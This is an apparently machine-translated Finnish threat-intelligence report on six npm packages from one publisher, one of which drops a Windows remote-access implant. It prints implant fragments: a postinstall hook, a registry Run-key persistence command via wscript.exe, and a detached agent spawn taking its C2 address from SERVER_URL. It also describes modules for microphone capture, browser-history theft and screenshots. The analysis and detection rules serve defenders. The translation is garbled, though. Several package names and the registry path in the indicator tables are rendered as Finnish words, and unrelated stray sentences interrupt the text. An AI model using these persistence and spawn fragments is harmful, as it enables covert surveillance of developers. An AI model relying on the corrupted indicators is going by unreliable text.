TL; DR
Yksi npm-julkaisija 1. huhtikuuta ja 3. toukokuuta 2026 välisenä aikana user0001, rekisteröity vahvistamattomalla Gmail-osoitteella tanvisoul9@gmail.com, hiljaa työnsi kuusi pakettia tarkoituksellisen mitäänsanomattomilla, infrastruktuurilta kuulostavilla nimillä: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeja node-env-resolve.
Kaksi uusinta versiota node-env-resolve, 1.0.7 ja 1.0.8, merkittiin Xygenin haittaohjelmien varhaisvaroitusjärjestelmällä (MEW) 2. toukokuuta ja vahvistettiin haitallisiksi 3. toukokuuta.
Implantti on epätavallinen siinä, mitä se ei ole: siinä ei ole Telegram-botteja, ei OAST-takaisinkutsuja, ei obfuscation, eikä AWS-tunnistetietoja yritetä noutaa asennuksen yhteydessä. Sen sijaan postinstall.js asettaa Windowsin käynnistyksen pysyvyysmerkinnän käyttämällä HKCU Run -avainta, joka käynnistää wscript.exe VBS-tynkää vasten. Sitten se luo erillisen Node.js-agentin, joka niputtaa moduulit mikrofonin sieppaukseen, selainhistorian varastamiseen, kuvakaappausten ottamiseen ja hiiren/näppäimistön simulointiin.
Kutsumme tätä klusteria DevTap, kun paketti lähtee toimimaan kehittäjän koneella.
Kaikki kuusi pakettia olivat saatavilla npm:ssä kirjoitushetkellä. Olemme lähettäneet ne rekisterin väärinkäyttökanavalle. Puolustajien tulisi poistaa kaikki asennukset julkaisijalta odottaessaan poistoa.
Klusteri: Kuusi pakettia, yksi julkaisija
Julkaisijan tili user0001 on vahvistamaton. Sillä ei ole SCM vahvistus, ei verkkotunnukseen sidottuja sähköposteja eikä aiempaa historiaa. Gmail-käyttäjätunnus tanvisoul9 ei esiinny missään muussa löytämässämme npm-julkaisijan tietueessa.
Kaikissa kuudessa paketissa on sama ylläpitäjä, ne on julkaistu samalta tililtä ja niillä on samat käyttöoikeudet. package.json vakiomuotoista. Ei ole olemassa repository, ei homepage, ja ei description pidempi kuin yksi rivi.
Nimeämisstrategia on mielenkiintoinen osa. Toisin kuin klassinen riippuvuussekaannuksia tai typosquat-kampanja, mikään näistä nimistä ei kohdistu tiettyyn ylävirran kirjastoon. Sen sijaan ne on kalibroitu katoamaan todelliseen... package.json or npm ls tuotos.
| Paketti | Ensimmäinen julkaistu | Uusin versio | versiot | Rooli klusterissa |
|---|---|---|---|---|
| keskiaikainen | 2026-04-01 12:46 UTC | 1.0.9 | 5, versiosta 1.0.5 versioon 1.0.9 | Klusterin ”lokikirjausapuohjelman” kansi; varhaisin julkaisu |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Yleinen DOM-apukoodi |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Jäljittelee solmujen nouto-perhettä |
| liitinagentti | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Yleinen nimi ”agentti” |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Matkii natiivimoduulien rakennustyökaluja |
| solmu-ympäristön-ratkaisu | 2026-04-25 05:21 UTC | 1.0.9 | 10, versiosta 1.0.0 versioon 1.0.9 | Aktiivinen pipetti; koko implantti |
Nimet, kuten centralogger, node-fetch-liteja node-gyp-runtime on suunniteltu näyttämään kiistattomilta koodikatselmoinnissa. Ne kuulostavat asioilta, jotka olisivat jo projektin riippuvuuspuussa.
Yhdessä uuden, vahvistamattoman julkaisijan ja puuttuvien repositoriolinkkien kanssa ne muodostavat tunnistettavan kaavan: toimija syöttää rekisteriin helppokäyttöisiä nimiä ja iteroi sitten nopeasti sen, jolla on merkitystä. Tässä tapauksessa node-env-resolve sai kymmenen versiota kahdeksassa päivässä.
Mitä Windows-kehityslaatikkoon mahtuu
Ilkivaltainen ketju päällä node-env-resolve:1.0.8 on lyhyt, suora ja epätavallisen ominaisuuksiltaan rikas npm-RAT:lle.
Asennuksen jälkeinen: Pysyvyys ja irrotettu agentti
package.json julistaa yhden asennuskoukun:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js tekee kolme asiaa järjestyksessä.
Ensin se luo asennushakemiston npm-puun ulkopuolelle. Polku lasketaan skriptissä suorituksen aikana seuraavasti: INSTALL_DIRSitten se suorittaa sisäisen execSync('npm install --production --silent ...') sen sisällä hakeakseen implantin ajonaikaiset riippuvuudet. Tämä sijoittaa agentin levylle jonnekin käyttöohjeeseen node_modules tarkastus ei löydä.
Toiseksi se kirjoittaa VBS-käynnistysohjelman ja rekisteröi sen käynnistyksen pysyvyyttä varten:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe on Windows Script Host, allekirjoitettu Microsoftin binääritiedosto, joka toimii .vbs tiedostoja ilman konsoli-ikkunaa. Se on ennaltacisely miksi sitä suositaan autorun-tyngien kohdalla.
Mukana on myös vastaavuus reg delete polku sisällä src/index.js, mikä viittaa siihen, että implantti on suunniteltu siten, että se voidaan poistaa siististi käyttäjän käskystä.
Kolmanneksi se synnyttää erillisen lapsiprosessin:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Kaksi yksityiskohtaa on tässä tärkeä.
SERVER_URL luetaan ympäristöstä. Tämän seurauksena C2-päätepiste on konfiguroitavissa käyttöönottokohtaisesti eikä sitä ole valmiiksi pakattu. Tämä pieni mutta harkittu valinta estää useimmat staattiset IOC-pyyhkäisyt.
Myös syntynyt lapsi perii koko vanhemman ympäristön. Siksi mikä tahansa NPM_TOKEN, AWS_*, GITHUB_TOKEN, tai kehittäjäkomentotulkissa asennuksen aikana oleva SSH-agentin soketti siirtyy pitkäikäisen agentin muistiin.
Mitä agentti lähettää mukanaan
Mukana src/ puu sisältää kolme moduulia, joiden nimet jo itsessään kertovat tarinan: audioCapture.js, browserHistory.jsja systemInfo.js.
Suorituksenaikaisten riippuvuuksien luettelo, ratkaistu vaiheittaisen toteutuksen aikana npm install, vahvistaa ne.
Tämä lähestymistapa muuttaa kaoottisen tapahtuman kontrolloiduksi reaktioksi.
Sokeasti reagoimisen sijaan tiimit toimivat selkeä priorisointi ja nopea korjaus.
| riippuvuus | Mihin se on tarkoitettu tässä yhteydessä |
|---|---|
| kuvakaappaus-työpöytä | Säännöllinen näyttökuvan ottaminen |
| @nut-tree-fork/nut-js | Hiiren ja näppäimistön automaatio / syötteen simulointi |
| parempi-sqlite3 | Chromen, Edgen ja Firefoxin historian SQLite-tietokantojen suoraluku |
| adm-zip | Kerättyjen esineiden niputtaminen ennen ulosvirtausta |
| terävä | Kuvakaappausten ja kuvavirheiden koon muuttaminen / pakkaaminen |
| socket.io-asiakasohjelma | Pysyvä kaksisuuntainen C2-kanava |
| solmun koneen tunnus | Vakaa isäntäkohtainen sormenjälki uhrien seurantaa varten |
systemInfo.js puhelut os.networkInterfaces() lisäsormenjälkien ottamista varten ennen ensimmäistä majakkaa.
Miksi äänen tallennus on erottuva signaali
Useimmat MEW:ssä triaasimme npm RAT -hyökkäykset pysähtyvät asennuksen aikaiseen salaisen varkauden kohteeksi. Ne lukevat. ~/.npmrc, lukea ~/.aws/credentials, kaapia process.env, POST webhookille ja poistu. Tämä sopii smash-and-grab-talousmalliin. Tunnuksilla on lyhyt puoliintumisaika, ja hyökkääjän on saatava ne nopeasti rahaksi.
node-env-resolve on muodoltaan erilainen.
Pysyvyys on asetettu kestämään uudelleenkäynnistyksen. Agentti toimii irrallaan ja pitkäikäisenä alla wscript.exeSen mukana tuleva paketti on tarkoitettu kehittäjän koneella olemiseen, ei kaappaamiseen ja ottamiseen mukaan: mikrofonitallennin, näppäimistö-/hiiriohjain, täydellinen selainhistorian tallennus, näytön kaappaus ja interaktiivinen Socket.IO-kanava takaisin konfiguroitavaan C2:een.
Erityisesti mikrofonien sieppaus on raja, jonka tämä kampanja ylittää, ja jonka useimmat npm-haittaohjelmat eivät ylitä.
Kehittäjän työasema on yhä useammin myös työasema, jossa kehittäjät pitävät stand-up-puheluita, asiakaspuheluita, suunnittelukeskusteluja ja päivystyssiltoja. Mikrofonia tallentava implantti ei oikeastaan ole kehittäjän npm-tokenin perässä, vaan sen perässä, mitä kehittäjä sanoo kannettavan tietokoneen edessä.
Tuo ominaisuusjoukko sekä hämärryksen puute ja asennuksen aikaisen näyttävän vuotamisen puuttuminen tulkitsevat kohdennetun käytön ennakkoasemointina pikemminkin kuin opportunistisena tunnistetietojen varastamisena.
Emme väitä syyllisyyttä pelkästään tähän. Huomioimme toiminnan profiilin.

Kahdeksan päivän iteraatiopoljinnopeus päällä node-env-resolve on aikajanan toiminnallisesti paljastavin yksityiskohta.
Tämä ei ole "sytytä ja unohda" -tyyppinen pudotus. Julkaisija ylläpitää aktiivisesti dropperia, mikä yleensä tarkoittaa yhtä kahdesta asiasta. Joko he virittävät sitä testiympäristöjä vasten ennen laajempaa käyttöönottoa tai heillä on jo asennuksen telemetriatiedot tulossa ja he vastaavat niihin.
Muissa viidessä paketissa ei käytännössä havaittu vaihtuvuutta alkuperäisen julkaisun jälkeen. Tämä sopii tukiklusterin "vaihe kerran, jätä nimetty" -malliin, kun taas suunnittelutyö keskittyy pakettiin, joka tekee työn.
Nimeäminen: Pieniä vihjeitä, ei varmaa tuomiota
julkinen OSINT Signaalit ovat ohuita, emmekä venytä niitä. Mitä on havaittavissa:
Gmail-käyttäjätunnus tanvisoul9 muistuttaa osittain eteläaasialaista etunimeä ”Tanvi”. Tämä on heikko signaali. Gmail-käyttäjän nimet eivät ole identiteettiä, ja lopussa oleva soul9 on yleinen. Maantieteen päätteleminen pelkästään sähköpostin paikallisesta osasta ei ole turvallista.
Koodityyli on vaatimaton Node.js:ssä: standard kirjastopuhelut, kuten os, child_process, spawnja reg addSiinä ei ole hämärrystä, merkkijonojen kierrätystä eikä virheenkorjauksen estävää logiikkaa. Kirjoittaja on tottunut Windowsin rekisterialkuperäisominaisuuksiin ja irrallisten lapsiprosessien orkestrointiin, mutta hän ei näytä tavoittelevan huomaamattomampia kaupankäyntitekniikoita, joita he voisivat uskottavasti käyttää.
Riippuvuudet ovat täysin itsestäänselvyyksiä ja hyvin tunnettuja: screenshot-desktop, nut-js, better-sqlite3ja socket.io-clientEi ole olemassa mukautettua protokollaa, alusta asti kehitettyä C2-pinoa eikä oppikirjan ulkopuolista uutta pysyvyyskikkaa. HKCU-suoritusnäppäinTämä on pätevä integraattori, ei työkalujen tekijä.
Emme löytäneet julkaistuista artefakteista muita kuin englanninkielisiä merkkijonoja, upotettuja kommentteja, kielikohtaisia tietoja tai kääntäjän tuottamia aikavyöhyketunnisteita.
Tarkistimme koodin päällekkäisyyksiä jo seuraamiemme aiempien kampanjoiden kanssa, mukaan lukien Shai Hulud, Owlivion, Buildkite ja viimeaikainen heibai / claude-code-best Anthropic-CLI-klooniperhe. Emme löytäneet yhtään: ei jaettuja C2-malleja, ei jaettuja tiedostoasetteluja eikä jaettuja idiomeja.
Emme sanoisi, että kyseessä on valtiollinen toimija, tunnettu ryhmä tai maantieteellisesti sidottu mihinkään tiettyyn maahan.
Toimintaprofiili on yhdenmukainen pienen, kohtalaisen ammattitaitoisen tiimin kanssa, joka suorittaa kehittäjätyöasemien valvontaa. Tiimin taloudellinen motiivi on todennäköisesti käyttöoikeuden jatkokäyttö, mutta mahdollisesti myös tiedustelupalveluna erilliselle ostajalle.
Kaksi epäsuoraa näkökohtaa tukee tätä: huomiota herättävien ja klusterin nopeasti polttavien tietomurtomekanismien, kuten Telegram-bottien, välttäminen. oastify.comtai canarytokens, ja tarkoituksella mitäänsanomattomat pakettien nimet, jotka suosivat hiljaisia pitkiä asennuksia lyhyen suuren volyymin piikin sijaan.
Vahingoittumisen ja havaitsemisen indikaattorit
| Paketit ja julkaisija | |
|---|---|
| Kenttä | Arvo |
| npm-julkaisija | user0001 |
| Julkaisijan sähköpostiosoite | tanvisoul9@gmail.com, vahvistamaton |
| Jäsenyydet | centralogger, dom-utils-lite, node-fetch-lite, connector-agentti, node-gyp-runtime, node-env-resolve |
| Vahvistettu haitalliseksi | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Isäntäartefaktit | |
|---|---|
| Tyyppi | Arvo |
| Pysyvyysavain | HKCU\Ohjelmisto\Microsoft\Windows\Nykyinen versio\Suorita |
| Pysyvyysarvo | Muuttujan nimi; data muotoa wscript.exe " \\ .vbs" |
| Asenna koukku | jälkiasennus: solmu postinstall.js paketin manifestissa |
| Implanttimoduulit | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Valmisteluhakemisto | INSTALL_DIR ratkaistu projektin node_modules-kansion ulkopuolella; postinstall.js asetti sijainnin asennuksen yhteydessä |
| verkkotuotteet | |
|---|---|
| Tyyppi | Arvo |
| C2-kuljetus | socket.io-client, pysyvä kaksisuuntainen kanava |
| C2-päätepiste | Annetaan agentille SERVER_URL-ympäristömuuttujan kautta; ei kiinteästi koodattu julkaistuihin artefakteihin |
Havaitsemishuomautuksia
Kaksi sääntöä kuvaa tätä perhettä ilman C2-päätepistettä.
Merkitse ensin asennuksen jälkeiset komentosarjat, jotka suorittavat sisäisen npm install paketin oman hakemiston ulkopuoliseen polkuun. Mikä tahansa laillinen esikäändityksellinen lataaja, kuten node-gyp uudelleenrakennukset tai valmiiksi rakennettujen binäärien latausohjelmat, kirjoittavat paketin sisällä tai alustallestandard välimuistipolut vahvistetuilla tiivisteillä. Se ei kirjoita juuri luotuun tiedostoon INSTALL_DIR muualla levyllä.
Toiseksi, merkitse asennuksen jälkeiset komentosarjat, jotka aiheuttavat ongelmia reg add HKCU\…\Run wscript.exe käynnistysohjelmana. Tämä ei ole pohjimmiltaan koskaan laillista npm-paketilta. Merkitse ja aseta se karanteeniin.
Kolmas heuristiikka on hyödyllinen seuraavan sisarpaketin havaitsemiseen ennen sen vahvistamista: tuore npm-julkaisija, jolla ei ole SCM vahvistus, Gmail-sähköposti, ei repository kenttä, ja useita lyhyitä, yleisiä, infrastruktuurilta kuuloisia pakettien nimiä, jotka on julkaistu muutaman päivän välein, riittää itsessään manuaalisen tarkistuksen perusteeksi.
Ilmoitettu npm-rekisteriin. Päivitämme tätä viestiä, kun julkaisijan tili on poistettu.






